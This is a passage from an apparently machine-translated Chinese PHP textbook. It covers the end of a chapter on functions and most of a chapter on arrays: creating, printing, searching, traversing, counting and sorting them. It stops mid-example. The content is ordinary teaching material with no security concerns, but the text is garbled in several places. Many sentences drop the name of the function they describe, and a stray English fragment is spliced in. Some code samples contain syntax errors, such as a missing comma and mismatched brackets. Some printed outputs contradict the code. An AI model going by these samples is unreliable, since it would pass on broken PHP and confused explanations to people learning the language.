你可以使用include()include_once()require()require_once()将这个文件插入到脚本中,这些在第三章中都有介绍。(或者,您可以使用 PHP 的auto_prepend配置指令来自动执行文件插入任务。)例如,假设您将这个库命名为library.taxation.php,您可以将它包含到如下脚本中:

<?php
    require_once("vendor/autoload.php");
    require_once("library.taxation.php");
    ...
?>

假设 vendor 文件夹在 web 根目录之外,这个脚本将使用配置好的include_path来查找目录和文件。这通常用于随 Composer 一起安装的库。一旦包含了这些函数,就可以根据需要调用这些库中的三个函数中的任何一个。

摘要

本章集中讨论了现代编程语言的一个基本构件:通过函数式编程的可重用性。您学习了如何创建和调用函数、在函数块之间传递信息、嵌套函数以及创建递归函数。最后,您学习了如何将函数聚合成库,并根据需要将它们包含到脚本中。

下一章介绍 PHP 的数组特性,涵盖该语言的大量数组管理和操作函数。

五、数组

作为程序员,你的大部分时间都花在数据集上。数据集的一些例子包括公司所有雇员的姓名;美国总统及其相应的出生日期;从 1900 年到 1975 年。事实上,使用数据集是如此普遍,以至于在代码中管理这些组的方法是所有主流编程语言的共同特征。在 PHP 语言中,这个特性被称为数组,它提供了一种存储、操作、排序和检索数据集的理想方式。

这一章讨论 PHP 的数组支持和令人印象深刻的各种函数。具体来说,您将学习如何执行以下操作:

  • 创建数组

  • 输出数组

  • 测试数组

  • 添加和移除数组元素

  • 定位数组元素

  • 遍历数组

  • 确定数组大小和元素唯一性

  • 排序数组

  • 合并、切片、拼接和剖析数组

在开始概述这些函数之前,让我们花点时间正式定义一个数组,并回顾一下 PHP 如何看待这一重要数据类型的一些基本概念。

什么是数组?

一个数组传统上被定义为一组共享某些特征的项目,比如相似性(汽车型号、棒球队、水果种类等)。)和类型(例如,所有字符串或整数)。每个物品都有一个特殊的标识符来区分,这个标识符被称为。PHP 将这个定义向前推进了一步,放弃了项目共享相同数据类型的要求。例如,一个数组很可能包含州名、邮政编码、考试分数或扑克牌花色等项目。PHP 中的数组被实现为一个映射,每个元素都有一个键和值。这使得数组足够灵活,可以将相同类型的多个值的结构处理为不同类型的复杂值。数据库查询的结果可以看作是行的数组。每一行都是一组值(字符串和数字等)。).

数组过去是用array()结构定义的。这仍然受到支持,但是 PHP 现在有了一种使用更短的语法和[]来定义数组的便捷方法,这种方法被称为 JSON 符号。每个条目由两部分组成:前面提到的键和值。这个键作为查找工具来检索它的对应项value。按键可以是numerical或者associative。除了值在数组中的位置之外,数字键与值没有真正的关系。例如,该数组可以由按字母顺序排序的汽车品牌列表组成。使用 PHP 语法,可能如下所示:

$carBrands = ["Cheverolet", "Chrysler""Ford", "Honda", "Toyota");

使用数字索引,您可以引用数组中的第一个品牌(雪佛兰),如下所示:

$ carBrands [0]

在上面的例子中,PHP 负责为每个值定义键。如果要指定键的其他值,可以通过定义第一个键或单独定义每个键来实现:

$carBrands = [12 => "Rolls Royce", "Bentley", "Porche"];
$germanCars = [20 => "Audi", 22 => "Porche", 25 => "VW"];

在上面的例子中,第一个数组将包含键 12、13 和 14;第二个示例将包含 20、22 和 25。

注意

像许多编程语言一样,PHP 的数字索引数组从位置 0 开始,而不是从 1 开始。

关联键在逻辑上与其对应的值有直接关系。当使用数字索引值没有意义时,关联映射数组特别方便。例如,您可能希望创建一个数组,将州缩写映射到它们的名称。使用 PHP 语法,可能如下所示:

$states = ["OH" => "Ohio", "PA" => "Pennsylvania", "NY" => "New York"];

你可以这样引用Ohio:

$states["OH"]

也可以创建数组的数组,称为多维数组。例如,您可以使用多维数组来存储美国的州信息。使用 PHP 语法,它可能看起来像这样:

$states = [
    "Ohio" => array("population" => "11,353,140", "capital" => "Columbus"),
    "Nebraska" => array("population" => "1,711,263", "capital" => "Omaha")
];

你可以参考俄亥俄州的人口:

$states["Ohio"]["population"]

这将返回以下内容:

11,353,140

从逻辑上讲,你需要一种方法来迭代数组的每个元素。正如你将在本章学到的,PHP 提供了很多方法来实现这一点。无论您使用的是关联键还是数字键,请记住,所有这些都依赖于一个称为的核心特性,即数组指针。数组指针就像一个书签,告诉你当前正在检查的数组的位置。您不会直接使用数组指针,而是使用内置语言特性或函数来遍历数组。尽管如此,理解这个基本概念还是很有用的。

创建数组

与其他语言不同,PHP 不要求在创建时给数组指定大小。事实上,因为它是一种松散类型的语言,PHP 甚至不要求您在使用它之前声明数组,尽管您可以这样做。本节介绍每种方法,从非正式的方法开始。

PHP 数组的单个元素是通过在一对方括号之间表示元素来引用的。因为数组没有大小限制,所以您可以通过引用它来创建数组,如下所示:

$state[0] = "Delaware";

然后,您可以像这样显示数组$state,的第一个元素:

echo $state[0];

通过将每个新值映射到数组索引,可以添加其他值,如下所示:

$state[1] = "Pennsylvania";
$state[2] = "New Jersey";
...
$state[49] = "Hawaii";

如果索引已被使用,该值将被覆盖。如果索引指向数组中未定义的元素,将添加一个新元素。

有趣的是,如果您希望索引值是数字的并且是升序的,那么您可以在创建时省略索引值:

$state[] = "Pennsylvania";
$state[] = "New Jersey";
...
$state[] = "Hawaii";

每次指数将被计算为最高数字指数加 1。

以这种方式创建关联数组同样简单,只是键总是必需的。下面的示例创建一个数组,该数组将美国各州的名称与其加入联邦的日期相匹配:

$state["Delaware"] = "December 7, 1787";
$state["Pennsylvania"] = "December 12, 1787";
$state["New Jersey"] = "December 18, 1787";
...
$state["Hawaii"] = "August 21, 1959";

接下来讨论的array()构造是一个功能相同但更正式的创建数组的方法。

使用 array()创建数组

array()构造将零个或多个条目作为其输入,并返回由这些输入元素组成的数组。它的原型是这样的:

array array([item1 [,item2 ... [,itemN]]])

下面是一个使用array()创建索引数组的例子:

$languages = array("English", "Gaelic", "Spanish");
// $languages[0] = "English", $languages[1] = "Gaelic", $languages[2] = "Spanish"

你也可以使用array()来创建一个关联数组,就像这样:

$languages = ["Spain" => "Spanish",
                   "Ireland" => "Gaelic",
                   "United States" => "English"];
// $languages["Spain"] = "Spanish"
// $languages["Ireland"] = "Gaelic"
// $languages["United States"] = "English"

当函数返回数组时,没有必要在访问单个元素之前将返回值赋给变量。这称为解引用,是访问感兴趣的单个元素的一种便捷方式。在下面的例子中。函数person()返回一个包含三个值的数组。为了只访问第一个,我们可以在函数调用后直接添加[0]

function person() {
  return ['Frank M. Kromann', 'frank@example.com', 'Author']
}
$name = person()[0];

使用 list()提取数组

list()构造与array()相似,尽管它被用来在一次操作中从数组中提取值来进行同步变量赋值。它的原型是这样的:

void list(mixed...)

当您从数据库或文件中提取信息时,这个构造可能特别有用。例如,假设您想要格式化并输出从名为users.txt的文本文件中读取的信息。文件的每一行都包含用户信息,包括姓名、职业和喜欢的颜色,每一项都用竖线分隔。典型的行类似于以下内容:

Nino Sanzi|professional golfer|green

使用list(),一个简单的循环可以读取每一行,将每一段数据分配给一个变量,并根据需要格式化和显示数据。下面是如何使用list()同时进行多个变量赋值:

// Open the users.txt file
$users = file("users.txt");

// While the End of File (EOF) hasn't been reached, get next line
foreach ($users as $user) {

     // use explode() to separate each piece of data.
     list($name, $occupation, $color) = explode("|", $user);

     // format and output the data
     printf("Name: %s <br>", $name);
     printf("Occupation: %s <br>", $occupation);
     printf("Favorite color: %s <br>", $color);

}

将读取users.txt文件的每一行,浏览器输出的格式如下:

Name: Nino Sanzi
Occupation: professional golfer
Favorite Color: green

回顾一下这个例子,list()依赖函数explode()(返回一个数组)将每一行分成三个元素,explode()通过使用竖线作为元素分隔符来完成这个任务。(第九章正式介绍了explode()功能。)这些元素然后被分配给$name$occupation$color。在这一点上,它只是一个向浏览器显示的格式化问题。

用预定义的值范围填充数组

range()函数提供了一种简单的方法来快速创建和填充一个由从lowhigh的整数值组成的数组。返回包含此范围内所有整数值的数组。它的原型是这样的:

array range(int low, int high [, int step])

例如,假设您需要一个包含骰子所有可能面值的数组:

$die = range(1, 6);
// Same as specifying $die = array(1, 2, 3, 4, 5, 6)

但是如果您想要一个仅由偶数或奇数组成的范围呢?或者由只能被 5 整除的值组成的范围?可选的step参数为此提供了一种方便的方法。例如,如果您想创建一个包含所有在020之间的偶数值的数组,您可以使用2step值:

$even = range(0, 20, 2);
// $even = array(0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20);

range()功能也可用于字符序列。例如,假设您想要创建一个由字母 A 到 F 组成的数组:

$letters = range("A", "F");
// $letters = array("A", "B", "C", "D", "E", "F");

测试数组

当您将数组合并到应用中时,有时需要知道某个特定变量是否是数组。内置函数is_array()可用于完成该任务。其原型如下:

boolean is_array(mixed variable)

is_array()函数判断variable是否为数组,如果是则返回TRUE,否则返回FALSE。请注意,即使是由单个值组成的数组也将被视为数组。下面是一个例子:

$states = array("Florida");
$state = "Ohio";
printf("\$states is an array: %s <br />", (is_array($states) ? "TRUE" : "FALSE"));
printf("\$state is an array: %s <br />", (is_array($state) ? "TRUE" : "FALSE"));

执行此示例会产生以下结果:

$states is an array: TRUE
$state is an array: FALSE

输出数组

输出数组内容最常见的方式是遍历每个键并回显相应的值。例如,foreach 语句很好地完成了这个任务:

$states = array("Ohio", "Florida", "Texas");
foreach ($states as $state) {
    echo "{$state}<br />";
}

如果你想打印一个数组的数组或者需要对数组输出执行更严格的格式标准,考虑使用vprintf()函数,它允许你使用第三章中介绍的printf()sprintf()函数使用的相同格式语法轻松显示数组内容。这里有一个例子:

$customers = array();
$customers[] = array("Jason Gilmore", "jason@example.com", "614-999-9999");
$customers[] = array("Jesse James", "jesse@example.net", "818-999-9999");
$customers[] = array("Donald Duck", "donald@example.org", "212-999-9999");

foreach ($customers AS $customer) {
  vprintf("<p>Name: %s<br>E-mail: %s<br>Phone: %s</p>", $customer);
}

执行此代码会产生以下输出:

Name: Jason Gilmore

E-mail: jason@example.com

Phone: 614-999-9999

Name: Jesse James

E-mail: jesse@example.net

Phone: 818-999-9999

Name: Donald Duck

E-mail: donald@example.org

Phone: 212-999-9999

如果你想把格式化的结果发送到一个字符串,检查一下vsprintf()函数。

用于测试目的的打印数组

前面大多数例子中的数组内容都是用注释显示的。虽然这对于教学目的非常有用,但是在现实世界中,您需要知道如何轻松地将它们的内容输出到屏幕上进行测试。这通常用print_r()函数来完成。其原型如下:

boolean print_r(mixed variable [, boolean return])

print_r()函数接受一个变量并将其内容发送到标准输出,如果成功则返回TRUE,否则返回FALSE。这本身并不特别令人兴奋,直到您意识到它将把数组的内容(以及对象的内容)组织成可读的格式。例如,假设您想要查看由州及其对应的州首府组成的关联数组的内容。你可以这样称呼print_r():

print_r($states);

这将返回以下内容:

Array (
   [Ohio] => Columbus
   [Iowa] => Des Moines
   [Arizona] => Phoenix
)

可选参数 return 修改函数的行为,使其将输出作为字符串返回给调用者,而不是发送给标准输出。因此,如果想返回前面的$states数组的内容,只需将return设置为TRUE:

$stateCapitals = print_r($states, TRUE);

该函数在本章中反复使用,作为显示示例结果的简单方法。

记住print_r()函数不是输出数组的唯一方法;它只是为此提供了一种方便的方法。您可以使用循环条件自由输出数组,比如 while 或 for 事实上,使用这些类型的循环是实现许多应用功能所必需的。在本章和后面的章节中,我将反复讨论这个方法。

如果 print_r()函数用于向浏览器输出内容,您可能希望将文档的内容类型更改为 text/plain,因为默认的内容类型 text/html 会将空白减少为一个空格,因此输出将显示在一行中。或者,您可以将输出包含在标签中,让浏览器保留空白。这样,大型数组的输出将更具可读性。如果想知道更多关于数组的内容,可以使用var_dump()函数。它将包括每个元素的类型和长度。如果我们使用上面的状态示例切换到var_dump(),输出将如下所示:

array(3) {
  ["Ohio"]=>
  string(8) "Columbus"
  ["Iowa"]=>
  string(9) "Des Moins"
  ["Arizona"]=>
  string(7) "Phoenix"
}

 ..

tag causing the browser to preserve whitespace. The output of large arrays will be more readable that way. If you want to know more about the content of the array, you can use the

添加和移除数组元素

PHP 提供了许多函数来扩大和缩小一个数组。这些函数中的一部分是为了方便希望模仿各种队列实现(FIFO、LIFO 等)的程序员而提供的。),正如它们的名字(pushpopshiftunshift)所反映的那样。本节介绍这些函数并提供几个例子。

注意

传统的队列是一种数据结构,其中元素按照它们被输入的相同顺序被移除,称为先进先出FIFO 。相比之下,堆栈是一种数据结构,其中元素的移除顺序与输入顺序相反,称为后进先出LIFO

将值添加到数组的前面

array_unshift()函数将元素添加到数组的前面。所有预先存在的数字键被修改以反映它们在数组中的新位置,但是关联键不受影响。其原型如下:

int array_unshift(array array, mixed variable [, mixed variable...])

以下示例将两个状态添加到$states数组的前面:

$states = array("Ohio", "New York");
array_unshift($states, "California", "Texas");
// $states = array("California", "Texas", "Ohio", "New York");

向数组末尾添加一个值

array_push()函数将一个值添加到数组的末尾,在添加新值后返回数组中元素的总数。通过将多个变量作为输入参数传递给函数,可以将这些变量同时放入数组。其原型如下:

int array_push(array array, mixed variable [, mixed variable...])

以下示例将两个状态添加到$states数组中:

$states = array("Ohio", "New York");
array_push($states, "California", "Texas");
// $states = array("Ohio", "New York", "California", "Texas");

从数组前面移除值

函数的作用是:移除并返回数组中的第一项。如果使用数字键,所有相应的值都将下移,而使用关联键的数组不会受到影响。其原型如下:

mixed array_shift(array array)

以下示例从$states数组中删除第一个状态:

$states = array("Ohio", "New York", "California", "Texas");
$state = array_shift($states);
// $states = array("New York", "California", "Texas")
// $state = "Ohio"

从数组末尾移除值

函数的作用是:移除并返回数组中的最后一个元素。其原型如下:

mixed array_pop(array array)

以下示例从$states数组中删除最后一个状态:

$states = array("Ohio", "New York", "California", "Texas");
$state = array_pop($states);
// $states = array("Ohio", "New York", "California"
// $state = "Texas"

定位数组元素

在当今信息驱动的社会中,高效筛选数据的能力绝对至关重要。本节介绍几个函数,这些函数使您能够搜索数组以定位感兴趣的项目。

搜索数组

in_array()函数在一个数组中搜索一个特定的值,如果找到该值,返回TRUE,否则返回FALSE。其原型如下:

boolean in_array(mixed needle, array haystack [, boolean strict])

在下面的示例中,如果在由全州禁烟的州组成的数组中找到指定的州(俄亥俄州),则输出一条消息:

$state = "Ohio";
$states = ["California", "Hawaii", "Ohio", "New York"];
if(in_array($state, $states)) echo "Not to worry, $state is smoke-free!";

可选的第三个参数strict,强制in_array()也考虑类型。在这两种情况下,搜索都将区分大小写。搜索俄亥俄州或俄亥俄州不会找到值 ohio。

搜索关联数组键

如果在数组中找到指定的键,函数array_key_exists()返回TRUE,否则返回FALSE。其原型如下:

boolean array_key_exists(mixed key, array array)

下面的示例将在一个数组的键中搜索 Ohio,如果找到,将输出关于其进入 Union 的信息。请注意,这些键区分大小写:

$state["Delaware"] = "December 7, 1787";
$state["Pennsylvania"] = "December 12, 1787";
$state["Ohio"] = "March 1, 1803";
if (array_key_exists("Ohio", $state))
   printf("Ohio joined the Union on %s", $state["Ohio"]);

以下是结果:

Ohio joined the Union on March 1, 1803

搜索关联数组值

array_search()函数在数组中搜索指定的值,如果找到则返回其键,否则返回FALSE。其原型如下:

mixed array_search(mixed needle, array haystack [, boolean strict])

可选的 strict 参数用于强制函数查找相同的元素,这意味着类型和值必须匹配。搜索始终区分大小写。以下示例在$state中搜索特定日期(12 月 7 日),如果找到,则返回相应州的信息:

$state["Ohio"] = "March 1";
$state["Delaware"] = "December 7";
$state["Pennsylvania"] = "December 12";
$founded = array_search("December 7", $state);
if ($founded) printf("%s was founded on %s.", $founded, $state[$founded]);

输出如下:

Delaware was founded on December 7.

正在检索数组键

函数的作用是:返回一个由数组中所有键组成的数组。其原型如下:

array array_keys(array array [, mixed search_value [, boolean strict]])

如果包含可选的 search_value 参数,则只返回与该值匹配的键。strict 参数也用于强制类型检查。以下示例输出在$state数组中找到的所有键值:

$state["Delaware"] = "December 7, 1787";
$state["Pennsylvania"] = "December 12, 1787";
$state["New Jersey"] = "December 18, 1787";
$keys = array_keys($state);
print_r($keys);

输出如下:

Array (
   [0] => Delaware
   [1] => Pennsylvania
   [2] => New Jersey
)

检索数组值

array_values()函数返回数组中的所有值,自动为返回的数组提供数字索引。其原型如下:

array array_values(array array)

以下示例将检索在$population中找到的所有州的人口数量:

$population = ["Ohio" => "11,421,267", "Iowa" => "2,936,760"];
print_r(array_values($population));

此示例将输出以下内容:

Array ( [0] => 11,421,267 [1] => 2,936,760 )

提取列

处理数据库中的数据通常会产生多维数组,其中第一维对应于选定的行,第二维对应于结果集中的每一列。可以使用 array_column()函数从所有行的特定列中提取所有值。这将返回一个索引数组,只包含指定列中的值。其原型如下:

array array_column(array array, mixed column_key [, mixed index_key = null] )

以下示例显示了如何从多维数组中提取 name 列:

$simpsons = [
  ['name' => 'Homer Simpson', 'gender' => 'Male'],
  ['name' => 'Marge Simpson', 'gender' => 'Female'],
  ['name' => 'Bart Simpson', 'gender' => 'Male']
];
$names = array_column($simpsons, 'name');
print_r($names);

此示例将输出以下内容:

Array([0] => Homer Simpson [1] => Marge Simpson [2] => Bart Simpson )

可选的第三个参数可用于指定一个索引,该索引将用作返回数组中的键,从而创建一个新的键/值对数组,其中的键和值都来自原始数组。

遍历数组

遍历一个数组并检索各种键、值或两者的需求是很常见的,所以 PHP 提供了许多适合这种需求的函数也就不足为奇了。这些函数中的许多都有双重功能:检索驻留在当前指针位置的键或值,并将指针移动到下一个适当的位置。本节将介绍这些功能。

正在检索当前数组键

key()函数返回位于所提供数组的当前指针位置的键。其原型如下:

mixed key(array array)

以下示例将通过迭代数组并移动指针来输出$capitals数组键:

$capitals = array("Ohio" => "Columbus", "Iowa" => "Des Moines");
echo "<p>Can you name the capitals of these states?</p>";
while($key = key($capitals)) {
    printf("%s <br />", $key);
    next($capitals);
}

这将返回以下内容:

Can you name the capitals of these states?
Ohio
Iowa

注意key()不会在每次调用时推进指针。相反,您使用的是next()函数,它的唯一目的是完成这个任务。本节稍后将介绍该功能。

检索当前数组值

函数的作用是:返回当前指针位置的数组值。其原型如下:

mixed current(array array)

让我们修改前面的示例,这次检索数组值:

$capitals = array("Ohio" => "Columbus", "Iowa" => "Des Moines");

echo "<p>Can you name the states belonging to these capitals?</p>";

while($capital = current($capitals)) {
    printf("%s <br />", $capital);
    next($capitals);
}

输出如下:

Can you name the states belonging to these capitals?
Columbus
Des Moines

移动数组指针

有几个函数可以用来移动数组指针。本节将介绍这些功能。

将指针移动到下一个数组位置

函数的作用是:返回当前数组指针后面的数组值。当到达数组末尾,再次调用next()时,将返回 False。其原型如下:

mixed next(array array)

下面是一个例子:

$fruits = array("apple", "orange", "banana");
$fruit = next($fruits); // returns "orange"
$fruit = next($fruits); // returns "banana"

将指针移动到上一个数组位置

prev()函数返回位于当前指针位置之前的数组值,如果指针位于数组中的第一个位置,则返回FALSE。当到达数组的开头并再次调用prev()时,它将返回 null。其原型如下:

mixed prev(array array)

因为prev()的工作方式与next(),完全相同,所以无需举例。

将指针移动到第一个数组位置

函数的作用是将一个数组指针设置回数组的开头。其原型如下:

mixed reset(array array)

当您需要在脚本中多次查看或操作数组时,或者当排序已经完成时,通常会使用该函数。

将指针移动到最后一个数组位置

函数将指针移动到数组的最后一个位置,返回最后一个元素。其原型如下:

mixed end(array array)

下面的示例演示如何检索第一个和最后一个数组值:

$fruits = array("apple", "orange", "banana");
$fruit = current($fruits); // returns "apple"
$fruit = end($fruits); // returns "banana"

将数组值传递给函数

array_walk()函数将把数组的每个元素传递给用户定义的函数。当您需要基于每个数组元素执行特定操作时,这很有用。如果您打算实际修改数组键/值对,您需要将每个键/值作为引用传递给函数。其原型如下:

boolean array_walk(array &array, callback function [, mixed userdata])

用户定义的函数必须接受两个参数作为输入。第一个表示数组的当前值,第二个表示当前键。如果可选的userdata参数出现在对array_walk()的调用中,它的值将作为第三个参数传递给用户定义的函数。

您可能正在挠头,想知道这个函数有什么用处。也许最有效的例子之一是对用户提供的表单数据进行健全性检查。假设用户被要求提供六个他认为最能描述他所居住的州的关键词。清单 5-1 中提供了一个样本表格。

<form action="submitdata.php" method="post">
<p>
    Provide up to six keywords that you believe best describe the state in
    which you live:
</p>
<p>Keyword 1:<br />
<input type="text" name="keyword[]" size="20" maxlength="20" value="" /></p>
<p>Keyword 2:<br />
<input type="text" name="keyword[]" size="20" maxlength="20" value="" /></p>
<p>Keyword 3:<br />
<input type="text" name="keyword[]" size="20" maxlength="20" value="" /></p>
<p>Keyword 4:<br />
<input type="text" name="keyword[]" size="20" maxlength="20" value="" /></p>
<p>Keyword 5:<br />
<input type="text" name="keyword[]" size="20" maxlength="20" value="" /></p>
<p>Keyword 6:<br />
<input type="text" name="keyword[]" size="20" maxlength="20" value="" /></p>
<p><input type="submit" value="Submit!"></p>
</form>

Listing 5-1Using an Array in a Form

这个表单信息然后被发送到某个脚本,在表单中称为submitdata.php。该脚本应该清理用户数据,然后将其插入数据库供以后查看。使用array_walk(),您可以使用预定义的函数轻松过滤关键字:

<?php
    function sanitize_data(&$value, $key) {
        $value = strip_tags($value);
    }

    array_walk($_POST['keyword'],"sanitize_data");
?>

结果是$_POST['keyword']中的每个值都通过strip_tags()函数运行,这导致任何 HTML 和 PHP 标签都从值中删除。当然,额外的输入检查是必要的,但这足以说明array_walk()的效用

注意

如果你不熟悉 PHP 的表单处理能力,请参阅第十三章。

如果你正在处理数组的数组,函数array_walk_recursive()( PHP 5.0 中引入)能够递归地将用户定义的函数应用于数组中的每个元素。array_walk()array_walk_recursive()都会对数组进行修改。array_map()函数提供了类似的功能,但是产生了数据的副本。

确定数组大小和唯一性

有几个函数可用于确定总数组值和唯一数组值的数量。本节将介绍这些功能。

确定数组的大小

count()函数返回数组中找到的值的总数。其原型如下:

integer count(array array [, int mode])

如果可选的mode参数被启用(设置为1,数组将被递归计数,这是一个在计算多维数组的所有元素时有用的特性。第一个例子计算了在$garden数组中找到的蔬菜的总数:

$garden = array("cabbage", "peppers", "turnips", "carrots");
echo count($garden);

这将返回以下内容:

4

下一个示例对$locations 中的标量值和数组值进行计数:

$locations = array("Italy", "Amsterdam", array("Boston","Des Moines"), "Miami");
echo count($locations, 1);

这将返回以下内容:

6

您可能会对这个结果感到困惑,因为数组中似乎只有五个元素。保存波士顿和得梅因的数组实体被计为一个项,就像它的内容一样。

注意

sizeof()函数是count()的别名。它在功能上是相同的。

计数数组值频率

array_count_values()函数返回一个由关联的键/值对组成的数组。其原型如下:

array array_count_values(array array)

每个键代表在input_array中找到的一个值,其对应的值表示该键在input_array中出现的频率(作为一个值)。如果数组包含字符串和整数以外的值,将会生成警告。下面是一个例子:

$states = ["Ohio", "Iowa", "Arizona", "Iowa", "Ohio"];
$stateFrequency = array_count_values($states);
print_r($stateFrequency);

这将返回以下内容:

Array ( [Ohio] => 2 [Iowa] => 2 [Arizona] => 1 )

确定唯一数组值

array_unique()函数删除数组中所有重复的值,返回一个只包含唯一值的数组。注意,唯一值检查将每个值转换为字符串,因此 1 和“1”将被视为相同的值。其原型如下:

array array_unique(array array [, int sort_flags = SORT_STRING])

下面是一个例子:

$states = array("Ohio", "Iowa", "Arizona", "Iowa", "Ohio");
$uniqueStates = array_unique($states);
print_r($uniqueStates);

这将返回以下内容:

Array ( [0] => Ohio [1] => Iowa [2] => Arizona )

可选的sort_flags参数决定数组值如何排序。默认情况下,它们将作为字符串进行排序;但是,您也可以选择按照数字(SORT_NUMERIC)、使用 PHP 的默认排序方法(SORT_REGULAR)或根据地区(SORT_LOCALE_STRING)对它们进行排序。

排序数组

诚然,数据排序是计算机科学的一个中心话题。任何上过入门级编程课的人都很清楚诸如 bubble、heap、shell 和 quick 之类的排序算法。这个主题在日常编程任务中经常出现,以至于排序数据的过程就像创建一个if条件或while循环一样常见。PHP 通过提供大量有用的函数来简化这个过程,这些函数能够以各种方式对数组进行排序。

小费

默认情况下,PHP 的排序函数根据英语指定的规则进行排序。如果您需要用另一种语言排序,比如法语或德语,您需要通过使用setlocale()函数设置您的区域来修改这个默认行为。比如setlocale(LC_COLLATE, "de_DE")用于德语对比。

反转数组元素顺序

函数的作用是反转数组的元素顺序。其原型如下:

array array_reverse(array array [, boolean preserve_keys])

如果可选的 preserve_keys 参数设置为 TRUE,则保留键映射。

否则,每个新重新排列的值都将采用先前在该位置的值的键:

$states = array("Delaware", "Pennsylvania", "New Jersey");
print_r(array_reverse($states));
// Array ( [0] => New Jersey [1] => Pennsylvania [2] => Delaware )

将此行为与启用preserve_keys的结果进行对比:

$states = array("Delaware", "Pennsylvania", "New Jersey");
print_r(array_reverse($states,1));
// Array ( [2] => New Jersey [1] => Pennsylvania [0] => Delaware )

带有关联键的数组不受 preserve_keys 的影响;在这种情况下,始终保留键映射。

翻转数组键和值

函数的作用是颠倒数组中键和它们对应的值的角色。其原型如下:

array array_flip(array array)

下面是一个例子:

$state = array(0 => "Delaware", 1 => "Pennsylvania", 2 => "New Jersey");
$state = array_flip($state);
print_r($state);

此示例返回以下内容:

Array ( [Delaware] => 0 [Pennsylvania] => 1 [New Jersey] => 2 )

没有必要提供密钥,除非您想要不同于缺省值的密钥。

对数组排序

函数对数组进行排序,从最低值到最高值排列元素。其原型如下:

void sort(array array [, int sort_flags])

sort()函数不返回排序后的数组。相反,它对数组进行“就地”排序,并在成功或失败时返回 True 或 False。可选的sort_flags参数根据其赋值修改函数的默认行为:

  • SORT_NUMERIC:按数字顺序排列项目。这在对整数或浮点数进行排序时很有用。

  • SORT_REGULAR:按项目的 ASCII 值排序。例如,这意味着 B 将先于 a 到达。网上快速搜索会产生几个 ASCII 表,所以本书中不会复制其中一个。

  • 以一种更符合人类感知的正确顺序的方式对物品进行分类。关于此事的更多信息,见natsort(),在本节稍后介绍。

考虑一个例子。假设您想将考试成绩从最低到最高排序:

$grades = array(42, 98, 100, 100, 43, 12);
sort($grades);
print_r($grades);

结果看起来像这样:

Array ( [0] => 12 [1] => 42 [2] => 43 [3] => 98 [4] => 100 [5] => 100 )

需要注意的是,没有维护键/值关联。考虑以下示例:

$states = array("OH" => "Ohio", "CA" => "California", "MD" => "Maryland");
sort($states);
print_r($states);

以下是输出结果:

Array ( [0] => California [1] => Maryland [2] => Ohio )

要维护这些关联,请使用asort()

在维护键/值对的同时对数组进行排序

asort()函数与sort()相同,按照升序对数组进行排序,除了保持键/值的对应关系。其原型如下:

void asort(array array [, integer sort_flags])

请考虑一个数组,其中包含按照加入 Union 的顺序排列的州:

$state[0] = "Delaware";
$state[1] = "Pennsylvania";
$state[2] = "New Jersey";

使用sort()对这个数组进行排序会产生下面的顺序(注意,关联的相关性丢失了,这可能不是一个好主意):

Array ( [0] => Delaware [1] => New Jersey [2] => Pennsylvania )

然而,使用asort()排序会产生以下结果:

Array ( [0] => Delaware [2] => New Jersey [1] => Pennsylvania )

如果使用可选的sort_flags参数,精确的排序行为由其值决定,如sort()部分所述。

对数组进行逆序排序

rsort()函数与sort(),相同,除了它以逆序(降序)排序数组项目。其原型如下:

void rsort(array array [, int sort_flags])

下面是一个例子:

$states = array("Ohio", "Florida", "Massachusetts", "Montana");
rsort($states);
print_r($states);

它返回以下内容:

Array ( [0] => Ohio [1] => Montana [2] => Massachusetts [3] => Florida )

如果包含可选的sort_flags参数,精确的排序行为由其值决定,如sort()部分所述。

在保持键/值对的同时,对数组进行逆序排序

Like asort(),arsort()维护键/值的相关性。但是,它以相反的顺序对数组进行排序。其原型如下:

void arsort(array array [, int sort_flags])

下面是一个例子:

$states = array("Delaware", "Pennsylvania", "New Jersey");
arsort($states);
print_r($states);

它返回以下内容:

Array ( [1] => Pennsylvania [2] => New Jersey [0] => Delaware )

如果包含可选的sort_flags参数,精确的排序行为由其值决定,如sort()部分所述。

自然排序数组

natsort()函数旨在提供一种排序机制,可以与人们通常使用的机制相媲美。其原型如下:

void natsort(array array)

PHP 手册提供了一个很好的例子,展示了“自然”排序数组的含义考虑以下几项:picture1.jpgpicture2.jpgpicture10.jpgpicture20.jpg。使用典型算法对这些项目进行排序会产生以下顺序:

picture1.jpg, picture10.jpg, picture2.jpg, picture20.jpg

肯定不是你所期望的,对吗?natsort()函数解决了这个难题,按照您期望的顺序对数组进行排序,如下所示:

picture1.jpg, picture2.jpg, picture10.jpg, picture20.jpg

不区分大小写的自然排序

除了不区分大小写之外,函数natcasesort()在功能上与natsort(),相同:

void natcasesort(array array)

回到在natsort()部分提出的文件排序困境,假设这些图片是这样命名的:Picture1.JPGpicture2.jpgPICTURE10.jpgpicture20.jpgnatsort()函数将尽最大努力对这些项目进行排序,如下所示:

PICTURE10.jpg, Picture1.JPG, picture2.jpg, picture20.jpg

natcasesort()函数解决了这种特殊情况,如您所料进行排序:

Picture1.jpg, PICTURE10.jpg, picture2.jpg, picture20.jpg

按键值对数组排序

ksort()函数按键对数组排序,如果成功返回TRUE,否则返回FALSE。其原型如下:

integer ksort(array array [, int sort_flags])

如果包含可选的sort_flags参数,精确的排序行为由其值决定,如sort()部分所述。请记住,该行为将应用于键排序,而不是值排序。

逆序排序数组键

krsort()功能的操作与ksort(),按键排序相同,只是它以相反(降序)顺序排序。其原型如下:

integer krsort(array array [, int sort_flags])

根据用户定义的标准排序

usort()函数提供了一种使用用户定义的比较算法对数组进行排序的方法,该算法包含在一个函数中。当您需要以 PHP 内置排序函数无法提供的方式对数据进行排序时,这非常有用。其原型如下:

void usort(array array, callback function_name)

用户定义函数必须接受两个参数作为输入,并且必须根据第一个参数是小于、等于还是大于第二个参数,分别返回一个负整数、零或正整数。毫不奇怪,这个函数必须在调用usort()的同一个作用域中可用。

一个特别适用的例子是usort()的便利之处,它涉及美国格式日期的排序(月、日、年,而不是大多数其他国家使用的日、月、年)。假设您想对日期数组进行升序排序。虽然你可能认为sort()natsort()函数适合这份工作,但事实证明,两者都会产生不良结果。唯一的办法是创建一个自定义函数,能够按照正确的顺序对这些日期进行排序:

<?php
    $dates = array('10-10-2011', '2-17-2010', '2-16-2011',
                   '1-01-2013', '10-10-2012');
    sort($dates);

    echo "<p>Sorting the array using the sort() function:</p>";
    print_r($dates);

    natsort($dates);

    echo "<p>Sorting the array using the natsort() function: </p>";
    print_r($dates);

    // Create function use to compare two date values
    function DateSort($a, $b) {

        // If the dates are equal, do nothing.
        if($a == $b) return 0;

